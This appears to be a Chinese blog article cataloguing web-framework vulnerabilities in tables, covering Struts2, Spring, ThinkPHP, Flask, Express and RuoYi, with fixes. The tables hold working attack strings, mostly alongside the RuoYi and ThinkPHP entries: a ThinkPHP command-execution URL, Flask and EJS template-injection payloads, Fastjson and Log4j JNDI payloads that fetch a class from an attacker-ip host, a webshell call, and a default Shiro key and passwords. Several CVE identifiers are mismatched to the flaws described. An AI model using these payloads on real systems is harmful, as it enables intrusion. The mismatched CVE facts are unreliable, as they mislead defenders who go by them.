框架漏洞详解

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

这里主要介绍一些常见的框架漏洞。

一、Java Web 框架(企业级开发主流)

Java 框架因生态复杂(依赖链长、设计层级多),漏洞多集中于反序列化、远程代码执行(RCE)、参数绑定滥用等,且危害极强(常直接拿下服务器权限)。

1. Struts2(Apache Struts2)

Struts2 是经典 MVC 框架,因OGNL 表达式注入和反序列化漏洞频发,曾被称为 "漏洞之王"。

|--------------|------------------------|-----------------------------------------------------------------|---------|
| 漏洞类型 | 典型漏洞(ID / 别名) | 原理简述 | 危害程度 |
| OGNL 表达式注入 | S2-016(CVE-2013-2251) | 表单提交时,Content-Type等 HTTP 头未过滤 OGNL 表达式(如%{1+1}),可执行任意代码。 | 严重(RCE) |
| 反序列化漏洞 | S2-045(CVE-2017-5638) | 文件上传拦截器JakartaMultipartRequest处理请求时,未校验Content-Type,触发反序列化 RCE。 | 严重(RCE) |
| 反序列化漏洞 | S2-057(CVE-2018-11776) | 配置文件中struts.action.excludePattern正则表达式写死,导致特定路径请求绕过过滤,触发反序列化。 | 严重(RCE) |
| 标签属性 OGNL 注入 | S2-061(CVE-2020-17530) | s:a/s:url标签的href/action属性未过滤 OGNL 表达式,攻击者构造链接即可触发 RCE。 | 严重(RCE) |

2. Spring 系列(Spring MVC/Spring Boot/Spring Cloud)

Spring 是 Java 生态的 "基石框架",漏洞多与参数绑定、依赖注入(DI)、配置暴露相关,近年高频出现 "核弹级" RCE 漏洞。

|--------------|--------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------|-----------------|
| 漏洞类型 | 典型漏洞(ID / 别名) | 原理简述 | 危害程度 |
| 参数绑定导致 RCE | Spring4Shell(CVE-2022-22965) | Spring MVC 参数绑定机制允许 "类属性覆盖",攻击者通过构造class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat等参数,写入恶意 JSP 文件,实现 RCE。 | 严重(RCE) |
| 参数绑定漏洞(数据篡改) | CVE-2016-5007 | Spring MVC 对 "嵌套属性" 绑定无限制,攻击者可篡改后端对象的私有属性(如用户权限、订单金额)。 | 高危(权限提升 / 数据篡改) |
| 配置泄露 | Spring Cloud Config(CVE-2019-3799) | Spring Cloud Config 未授权访问,攻击者可下载所有配置文件(含数据库密码、密钥)。 | 高危(敏感信息泄露) |
| 依赖注入漏洞 | Spring Cloud Gateway(CVE-2022-22947) | Gateway 的Predicate工厂处理Route时,未过滤SpEL表达式,攻击者构造路由参数触发 SpEL 注入 RCE。 | 严重(RCE) |

3. Hibernate(ORM 框架)

Hibernate 是 Java 主流 ORM(对象关系映射)框架,漏洞集中于SQL 注入(因 ORM 使用不当)。

|------------------|---------------|--------------------------------------------------------------------------------------------------------|---------------|
| 漏洞类型 | 典型漏洞(ID / 别名) | 原理简述 | 危害程度 |
| HQL 注入(SQL 注入变种) | CVE-2014-3566 | 使用createQuery()执行原生 HQL 时,直接拼接用户输入(如from User where name=''+userInput+''),未用参数绑定(setParameter()),导致注入。 | 高危(数据泄露 / 篡改) |
| 关联查询注入 | 无特定 CVE(通用风险) | 多表关联查询时,对order by/group by后的字段未过滤,攻击者注入UNION SELECT等语句。 | 高危(数据泄露) |

二、PHP Web 框架(中小型 Web 开发主流)

PHP 框架漏洞多因变量覆盖、函数调用未过滤、调试模式滥用,且 RCE 漏洞占比高(PHP 动态执行特性导致)。

  1. ThinkPHP(国内最流行 PHP 框架)

ThinkPHP 因早期版本 "快速开发" 设计,存在大量RCE 和 SQL 注入漏洞,是渗透测试高频目标。

|-------------|-------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞(ID / 别名) | 原理简述 | 危害程度 |
| 远程代码执行(RCE) | ThinkPHP5.0/5.1 RCE(CVE-2018-20062) | 框架路由解析时,s参数未过滤,可构造?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami触发命令执行。 | 严重(RCE) |
| 远程代码执行(RCE) | ThinkPHP6.0 RCE(CVE-2021-37580) | 模板渲染时,assign方法未过滤用户输入,攻击者通过?template=file:///etc/passwd或构造恶意模板触发 RCE。 | 严重(RCE) |
| SQL 注入 | ThinkPHP3.2.x 注入(无 CVE) | 早期版本where条件拼接时,对数组参数处理不当,如map\['id'\] = array('in', _GET['id']),若id为1) or 1=1--则触发注入。 | 高危(数据泄露) |

2. Laravel(PHP 主流框架)

Laravel 设计较严谨,但调试模式、依赖组件、路由参数仍可能引入漏洞。

|--------------|---------------------------------|-------------------------------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞(ID / 别名) | 原理简述 | 危害程度 |
| 调试模式 RCE | Laravel Debug Mode RCE(无特定 CVE) | 开启APP_DEBUG=true(生产环境误配)时,若泄露.env文件(含APP_KEY),攻击者可利用laravel-debugbar组件构造恶意序列化数据,触发反序列化 RCE。 | 严重(RCE) |
| 路由参数 SQL 注入 | CVE-2020-15143 | Laravel 8.x < 8.4.2 中,route()函数处理参数时,未过滤$parameters中的特殊字符,若路由绑定到数据库查询,可触发注入。 | 高危(数据泄露) |
| 远程代码执行(依赖漏洞) | CVE-2021-3129 | Laravel 使用的symfony/http-foundation组件(版本 < 5.2.4)存在会话固定 + 代码执行,攻击者通过_fragment参数构造恶意 URL 触发 RCE。 | 严重(RCE) |

3. Yii(PHP 轻量级框架)

Yii 漏洞以反序列化和SQL 注入为主,2.x 版本因组件设计缺陷曾爆发大规模 RCE。

|----------|-------------------------------|------------------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞(ID / 别名) | 原理简述 | 危害程度 |
| 反序列化 RCE | CVE-2020-15148 | Yii2 的yii\db\BatchQueryResult类未实现__wakeup()方法,攻击者构造序列化数据,利用PDO连接参数注入恶意代码,触发 RCE。 | 严重(RCE) |
| SQL 注入 | Yii1.x ActiveRecord 注入(无 CVE) | Yii1.x 的findByAttributes()方法对数组参数处理不当,若用户输入直接作为查询条件,可注入UNION SELECT。 | 高危(数据泄露) |

三、Python Web 框架(快速开发 / AI 应用主流)

Python 框架漏洞多与模板注入(SSTI)、配置暴露、ORM 滥用相关,因 Python 动态类型特性,SSTI 危害极高。

1. Django(Python 最成熟 Web 框架)

Django 设计安全,但版本更新不及时、第三方插件、DEBUG 模式仍会引入漏洞。

|------------|-----------------------|------------------------------------------------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞(ID / 别名) | 原理简述 | 危害程度 |
| SQL 注入 | CVE-2021-35042 | Django 1.11.x < 1.11.29 / 2.2.x < 2.2.24 中,QuerySet.annotate()处理F()表达式时,未过滤output_field参数,导致注入。 | 高危(数据泄露) |
| 模板注入(SSTI) | Django 模板注入(无特定 CVE) | 若开发者使用render_to_string(template_name, context)时,template_name由用户控制(如?tpl={{7*7}}),Jinja2 模板引擎会执行表达式,可进一步构造 RCE。 | 严重(RCE) |
| 配置泄露 | DEBUG=True 信息泄露(通用风险) | 生产环境开启DEBUG=True时,报错页面会暴露代码路径、数据库配置、中间件信息,为攻击提供线索。 | 中危(信息泄露) |

2. Flask(Python 轻量级框架)

Flask 因 "极简设计",需开发者自行处理安全逻辑,SSTI、会话漏洞是高频问题。

|------------|-------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞(ID / 别名) | 原理简述 | 危害程度 |
| 模板注入(SSTI) | Flask SSTI(通用漏洞) | Flask 默认使用 Jinja2 模板,若开发者直接将用户输入作为模板渲染(如return render_template_string(request.args.get('tpl'))),攻击者可构造{{config.class.init.globals['os'].popen('whoami').read()}}执行命令。 | 严重(RCE) |
| 会话固定 | Flask Session Fixation(无 CVE) | Flask 默认会话 ID 存储在 Cookie 中,且未强制刷新会话 ID(如用户登录后未更换 sessionid),攻击者可预先设置 sessionid,劫持登录态。 | 高危(权限劫持) |
| 路径穿越 | CVE-2018-1000656 | Flask 0.12.4 及以下版本,send_file()函数处理filename参数时,未过滤../,导致攻击者读取任意文件(如?file=../etc/passwd)。 | 高危(文件泄露) |

四、Node.js Web 框架(前端后端一体化主流)

Node.js 框架漏洞多与中间件缺陷、路径处理、命令注入相关,因依赖大量 npm 包,"供应链漏洞" 也较常见。

1. Express(Node.js 最流行框架)

Express 依赖中间件扩展功能,漏洞多源于中间件配置不当或内置函数缺陷。

|------------|------------------------|-----------------------------------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞(ID / 别名) | 原理简述 | 危害程度 |
| 路径穿越 | CVE-2017-14849 | Express 的express.static中间件处理../时,未完全过滤 UTF-8 编码的特殊字符(如..%2f),攻击者可读取任意文件(如/static/..%2f/etc/passwd)。 | 高危(文件泄露) |
| 命令注入 | CVE-2019-10758 | Express 使用的body-parser中间件(版本 < 1.19.0)处理urlencoded数据时,未过滤extended: true模式下的特殊字符,导致命令注入。 | 严重(RCE) |
| 模板注入(SSTI) | Express EJS SSTI(通用风险) | 若使用 EJS 模板且开启debug模式,用户输入可注入<%= require('child_process').execSync('whoami').toString() %>执行命令。 | 严重(RCE) |

2. Koa(Node.js 轻量级框架)

Koa 以 "中间件洋葱模型" 为核心,漏洞多与中间件执行顺序、请求处理逻辑相关。

|---------|------------------------------|-------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞(ID / 别名) | 原理简述 | 危害程度 |
| 中间件请求劫持 | Koa Middleware Hijack(无 CVE) | 若中间件未正确处理ctx.respond属性(默认true),攻击者可构造请求绕过后续中间件(如鉴权),直接响应恶意内容。 | 高危(权限绕过) |
| 路径穿越 | Koa Static 路径穿越(通用风险) | Koa 的koa-static中间件未过滤../,若静态文件目录配置为./public,攻击者可通过/../etc/passwd读取任意文件。 | 高危(文件泄露) |

五、其他主流框架(.NET/Ruby)

1. .NET 框架( ASP.NETMVC/ ASP.NETWeb Forms)

|-------------------------------------------------|----------|-----------------------------|-------------------------------------------------------------------------------------------------------|----------|
| 框架 | 漏洞类型 | 典型漏洞(ID / 别名) | 原理简述 | 危害程度 |
| ASP.NET Web Forms | 反序列化 RCE | CVE-2017-8759(ViewState 漏洞) | ViewState(视图状态)未加密且使用默认密钥,攻击者篡改 ViewState 数据,触发反序列化 RCE。 | 严重(RCE) |
| ASP.NET MVC | CSRF | 早期版本默认无防护(通用风险) | ASP.NET MVC 早期版本未默认开启[ValidateAntiForgeryToken]注解,攻击者可构造 CSRF 表单篡改数据。 | 中危(数据篡改) |

2. Ruby on Rails(Ruby 主流框架)

|----------|---------------|-----------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞(ID / 别名) | 原理简述 | 危害程度 |
| 反序列化 RCE | CVE-2016-0752 | Rails 的Active Record组件处理serialize字段时,未过滤反序列化数据,攻击者构造恶意 YAML 数据触发 RCE。 | 严重(RCE) |
| SQL 注入 | CVE-2020-8165 | Rails 6.0.3.1 及以下版本,Active Record的where查询处理Range对象时,未过滤边界值,导致注入。 | 高危(数据泄露) |

六、框架漏洞共性总结与高频类型

无论何种框架,以下漏洞类型均为 "通用高危",需重点关注:

远程代码执行(RCE):最危险漏洞,几乎所有框架均曾出现(如 Spring4Shell、ThinkPHP RCE、Flask SSTI),直接导致服务器被控制。

模板注入(SSTI):Python/Node.js 框架高频(Flask/Django/Express),因模板引擎执行用户输入表达式,可快速升级为 RCE。

反序列化漏洞:Java/PHP/Ruby 框架典型(Struts2、Yii2、Ruby on Rails),因框架依赖序列化传输数据,未过滤恶意对象导致 RCE。

配置泄露:通用风险(Laravel .env 泄露、Django DEBUG 模式、Spring Cloud Config 未授权),泄露密钥 / 密码为后续攻击铺路。

SQL 注入:ORM 框架共性问题(Hibernate、Django ORM、Ruby Active Record),因开发者滥用原生 SQL 拼接参数导致。

七、若依框架漏洞

1、若依框架概述

若依(RuoYi)是国内主流Java 企业级快速开发框架,基于 Spring Boot/Spring Cloud + MyBatis + Shiro/Spring Security 技术栈,核心用于开发后台管理系统、OA、CRM 等企业应用。其漏洞可分为两类:

依赖组件漏洞:继承第三方开源组件(如 Shiro、Fastjson)的已知风险,是高频触发点;

自身业务逻辑漏洞:框架开发层设计缺陷,集中于权限控制、参数校验等模块。

2、依赖组件漏洞(高频风险)

若依依赖大量开源组件,若未及时更新版本,会直接继承组件漏洞。以下为核心漏洞类型及详情:

|---------------------|-------------------------------|---------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------|------------------------------------------------------------------------------------------------------|
| 漏洞名称 | 漏洞标识(CVE / 别名) | 核心原理 | 若依典型场景 | 危害等级 | 修复方案 |
| Apache Shiro 反序列化漏洞 | CVE-2016-4437、CVE-2020-1957 | Shiro 依赖 Cookie 中 rememberMe 字段(AES 加密 + Base64 编码的序列化对象);若使用默认密钥或密钥泄露,恶意序列化 payload 可触发反序列化 RCE。 | 若依早期版本(2020 年前 RuoYi 3.x/4.x)集成 Shiro 1.2.4 及以下,未修改默认密钥;攻击者用 ShiroExploit 生成 payload,通过 rememberMe 字段获取服务器 shell。 | 严重(RCE) | 1. 升级 Shiro 至 1.7.1+; 2. 自定义随机 AES 密钥(替换默认密钥 kPH+bIxk5D2deZiIxcaaaA==)。 |
| Fastjson 反序列化漏洞 | CVE-2021-21350、CVE-2022-25845 | Fastjson 解析含 @type 字段的 JSON 时,会实例化指定类(如 JdbcRowSetImpl),通过类属性触发 RCE。 | 若依接口(如 /sys/login)用 Fastjson 解析参数且未禁用 @type;攻击者构造 payload(如 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker-ip/EvilClass","autoCommit":true}),触发 RCE。 | 严重(RCE) | 1. 升级 Fastjson 至 1.2.83+; 2. 配置 ParserConfig.getGlobalInstance().setAutoTypeSupport(false) 禁用 @type。 |
| Log4j2 远程代码执行漏洞 | CVE-2021-44228("Log4j 核弹漏洞") | Log4j2 支持 JNDI 注入,日志内容含 {jndi:} 时会加载远程类,恶意类触发 RCE。 | 若依基于 Spring Boot 2.6.x 以下版本,日志系统用 Log4j2 且记录用户可控参数(如请求参数、URL);攻击者访问 /sys/menu?name={jndi:rmi://attacker-ip/Evil},日志记录时触发漏洞。 | 严重(RCE) | 1. 升级 Log4j2 至 2.17.1+; 2. 配置 JVM 参数 log4j2.formatMsgNoLookups=true 禁用 JNDI lookup。 |

3、若依自身业务逻辑漏洞(框架开发层问题)

源于若依自身代码设计缺陷,与业务功能强相关,常见于权限、参数、文件处理模块:

3.1 越权访问漏洞(最高频业务漏洞)

|------|----------------------------------|----------------------------------------------------------|------|-------------------------------------------------------------------------|
| 漏洞类型 | 核心原理 | 典型场景 | 危害等级 | 修复方案 |
| 水平越权 | 后端仅校验 "用户登录状态",未校验 "请求资源归属当前用户"。 | 若依 /sys/user/info?id=123 接口:攻击者修改 id=124,查看其他用户手机号、密码哈希。 | 高危 | 后端强制校验 "当前用户 ID" 与 "请求资源 ID" 一致(如通过 UserContext.getCurrentUserId() 比对)。 |
| 垂直越权 | 后端未校验用户角色,低权限用户可访问高权限接口。 | 若依 /sys/role/add 接口(仅允许管理员):普通用户直接调用接口,添加管理员角色给自己。 | 高危 | 1. 用 Shiro @RequiresRoles("admin") 注解校验角色; 2. 用若依 @DataScope 注解控制数据权限。 |

3.2 SQL 注入漏洞

|--------------|---------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------|------|--------------------------------------------------------------|
| 漏洞标识 | 核心原理 | 典型场景 | 危害等级 | 修复方案 |
| MyBatis 拼接注入 | 若依使用 MyBatis 时,SQL 语句用 {} 占位符(直接拼接,无预编译)或手动拼接参数。 | 若依用户列表查询接口,MyBatis 映射文件中: SELECT \* FROM sys_user WHERE username LIKE '%{username}%'; 攻击者传入 username=admin' OR '1'='1,查询所有用户数据。 | 高危 | 1. 优先用 #{} 预编译占位符; 2. 若需用 ${}(如排序字段),白名单校验(仅允许 id/username)。 |

3.3 文件上传漏洞

|-----------|--------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------|---------|-------------------------------------------------------------------------------------|
| 漏洞场景 | 核心原理 | 典型场景 | 危害等级 | 修复方案 |
| 头像 / 附件上传 | 仅前端校验文件后缀(如 JS 限制 .jpg),后端未校验文件内容、未限制上传路径。 | 若依 /sys/user/profile/avatar 接口:攻击者将 JSP 木马(shell.jsp)重命名为 shell.jpg 上传; 若服务器解析 .jpg 为 JSP,访问 http://target/shell.jpg?cmd=whoami 执行命令。 | 严重(RCE) | 1. 后端双重校验:文件后缀白名单 + 文件头校验(如 JPG 头 FF D8 FF); 2. 限制上传路径(禁止 Web 可访问目录); 3. 随机重命名上传文件。 |

3.4 默认配置 / 弱口令漏洞

|--------|------------------------------------------------------|-------------------------------------------------------|------|------------------------------------------------|
| 漏洞类型 | 核心原理 | 典型场景 | 危害等级 | 修复方案 |
| 默认账号漏洞 | 若依默认提供演示账号(admin/admin123、test/test123),部署后未删除 / 改密。 | 企业部署若依时保留默认 admin 账号,攻击者用 admin/admin123 直接登录后台,接管系统。 | 高危 | 1. 部署后立即删除演示账号; 2. 强制修改管理员密码(大小写 + 数字 + 特殊字符)。 |
| 弱口令漏洞 | 二次开发时自定义弱口令(如 root/123456),无登录失败次数限制。 | 攻击者用暴力破解工具(如 Burp Suite)破解弱口令,登录后台导出敏感数据。 | 中高危 | 1. 强制密码复杂度; 2. 添加登录失败限制(如 5 次锁定账号)。 |

相关推荐
ZZHow10246 小时前
sqlmap常用命令
web安全·网络安全
2301_7807896619 小时前
渗透测试真的能发现系统漏洞吗
服务器·网络·安全·web安全·网络安全
上海云盾商务经理杨杨20 小时前
高防IP如何抵御CC攻击?2025年全面防护机制解析
网络·网络协议·tcp/ip·网络安全
在安全厂商修设备1 天前
XSS 跨站脚本攻击剖析与防御 - 第一章:XSS 初探
web安全·网络安全·xss
qqxhb2 天前
系统架构设计师备考第18天——信息安全基础知识
网络安全·信息安全·系统架构·数据安全·可用性·可控性
Suckerbin2 天前
digitalworld.local: TORMENT
笔记·安全·web安全·网络安全
lingggggaaaa2 天前
小迪安全v2023学习笔记(八十讲)—— 中间件安全&WPS分析&Weblogic&Jenkins&Jetty&CVE
笔记·学习·安全·web安全·网络安全·中间件·wps
fasewer2 天前
玄机--windows日志分析
运维·服务器·windows·网络安全
emma羊羊2 天前
【 SQL注入漏洞靶场】第二关文件读写
sql·网络安全·靶场·sql注入